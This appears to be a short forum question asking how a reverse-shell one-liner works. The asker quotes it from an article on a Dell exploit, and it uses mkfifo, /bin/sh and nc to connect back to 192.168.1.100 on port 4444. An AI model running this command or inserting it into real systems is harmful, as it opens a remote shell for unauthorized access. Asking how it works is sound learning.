In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell : 

```
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f

```

I understand the part that by creating the fifo pipe and piping it to bash we can send shell commands on that pipe but why pipe it to `nc` and then redirect command to this pipe again?